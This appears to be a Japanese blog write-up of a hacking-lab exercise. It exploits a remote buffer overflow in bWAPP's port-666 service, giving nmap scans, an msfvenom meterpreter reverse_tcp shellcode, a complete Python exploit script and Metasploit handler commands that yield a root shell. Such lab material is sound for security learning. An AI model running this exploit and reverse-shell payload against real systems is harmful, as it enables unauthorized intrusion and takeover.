はじめに
「ハッキング・ラボのつくりかた」p.652-657を参考に、KaliLinux2022.1で検証してみる記事です。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
リモートバッファオーバーフロー
バッファオーバーフローは、アプリケーションのバグを利用して、メモリ領域に確保されたバッファを越えて、データを書き込むことで、不正なコマンドやプログラムを実行する攻撃。
入力データの長さや書式のチェックを怠ることで起きやすくなる。
検証
"http://192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Buffer Overflow(Remote)」を選択して「Hack」をクリックして、"http://192.168.56.60/bWAPP/bof_2.php"に遷移する。
"A specific bWAPP network service is vulnerable..."とあるから、bWAPPに特徴的なサービスに何かしらの脆弱性があることがわかる。また、ヒントが掲載されている。
ポートスキャンで、bWAPPで稼働しているサービスを調べる。
sudo nmap -sSV -p1-1024 192.168.56.60
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-31 23:02 JST
Nmap scan report for 192.168.56.60
Host is up (0.00060s latency).
Not shown: 1013 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp open ssl/http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
666/tcp open doom?
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
一部出力省略
また、ポートを65535まで拡大してポートスキャンしてみる。
sudo nmap -sSV -p1-65535 192.168.56.60
Nmap scan report for 192.168.56.60
Host is up (0.00017s latency).
Not shown: 65516 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp open ssl/http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
666/tcp open doom?
3306/tcp open mysql MySQL 5.0.96-0ubuntu3
3632/tcp open distccd distccd v1 ((GNU) 4.2.3 (Ubuntu 4.2.3-2ubuntu7))
5901/tcp open vnc VNC (protocol 3.8)
6001/tcp open X11 (access denied)
8080/tcp open http nginx 1.4.0
8443/tcp open ssl/http nginx 1.4.0
9080/tcp open http lighttpd 1.4.19
9443/tcp open ssl/http lighttpd 1.4.19
1 service unrecognized despite returning data. If you know the service/version, please submit
一部出力省略
ポート666(サービス名doom)以外は、よくあるサービスである。
ポート666は何かしらの脆弱性を含む可能性がある。数字自体も意味深(666)である。製作者の遊び心かもしれない。
シェルコードの作成
msfvenom lhost=192.168.56.2 lport=4448 -p linux/x86/meterpreter/reverse_tcp -b '\x00' -f py
実行結果は以下の通り。
コマンドの出力のbufの部分が、シェルコードとなる。LhostやLportが変われば、bufの文字列も変わる。
シェルコードからExploitを作成する
次のpythonファイルを作成する。これがExploitになる。
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
リモートバッファフロー攻撃のためのエクスプロイトをpythonで作成する。
kaliLinuxのIPアドレス:192.168.56.2
bee-boxのIpアドレス:192.168.56.60
bee-boxの攻略ポート:666(サービス名:doom)
KaliLinuxのリバースシェル待受ポート:4448
"""
import sys
import socket
#bufはmsvenom lhost=192.168.56.2 lport=4448 -p linux/x86/meterpreter/reverse_tcp -b '\x00' -f py で、出力した。
buf = b""
buf += b"\xba\x6d\x72\xaa\xa7\xda\xd5\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x1f\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2"
buf += b"\x98\x18\xa0\xf9\x53\x06\x43\xe6\xc0\xfb\xff\x83\xe4"
buf += b"\x4b\x99\xda\x09\x66\xe6\x4a\x92\x11\x27\xdc\x1c\xe0"
buf += b"\xcf\x1f\x5c\xf5\x6f\xa9\xbd\x9f\x09\xf1\x6d\x31\x81"
buf += b"\x88\x6c\xf2\xe0\x0b\xeb\x35\x83\x12\xbd\xc1\x49\x4d"
buf += b"\xe3\x2a\xb2\x8d\xbb\x40\xb2\xe7\x3e\x1c\x51\xc6\x89"
buf += b"\xd3\x16\xac\xc9\x95\xab\x44\xee\xd7\xd3\x23\xf0\x07"
buf += b"\xdc\x53\x79\xc4\x1d\xb8\x75\xca\x7d\x33\x35\xb1\x4c"
buf += b"\xcc\xb0\x8a\x37\xdd\xe1\x83\x29\x44\xa7\xfe\x19\x74"
buf += b"\x0a\x7e\xdc\xbb\xec\x7d\x20\xda\xb4\x83\xde\x1d\xc4"
buf += b"\x38\xdf\x1d\xc4\x3e\x2d\x9d"
#'A' *354
# NOP(x90) *16
ret="\xa7\x8f\x04\x08"
payload = '\x90' * 16 + buf
buffer='A'*354+ret+payload
argvs=sys.argv
argc=len(argvs)
if argc != 2:
print ('Usage: # python %s ip-address' % argvs[0])
quit()
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
message1="[+] Connecting..."
print ("\033[1;32;48m" + message1)
port=666
s.connect((argvs[1], port))
message2="[+] Sending exploit code..."
print ("\033[1;32;48m" + message2)
s.send(buffer)
data=s.recv(1024)
s.close()
リバースシェルの待ち受け
metasploitで待ち受けする
use exploit/multi/handler
set lhost 192.168.56.2
set lport 4448
set payload linux/x86/meterpreter/reverse_tcp
exploit
新規に別の端末を立ち上げて、さきほどの666_exploit.pyを実行する。
引数には、bee-boxのIPアドレスを指定する。
python2 666_exploit.py 192.168.56.60
シェルの奪取
meterpreterセッションが確立され、プロンプトが返ってくる。shellコマンドでシェルをダッシュしてかid
コマンドを実行する。rootであることが判明する。
shell
おわりに
ウェブアプリにハッキングはこれで終わりです。
できれば、Windowsのログオン認証ハッキングも試すかもしれません。
同書の第9章「物理デバイスの追加」では、ラズパイを使ったハッキング・ラボの構築が取り上げられていますが、ラズパイの購入予定がありませんので、ここで取り上げる予定もありません。
残りページもだいぶ少なくなりました。
参考にしたもの
「ハッキング・ラボのつくりかた」
「図解入門・よく分かる最新情報セキュリティの基本と仕組み増補改訂版」(相戸浩志)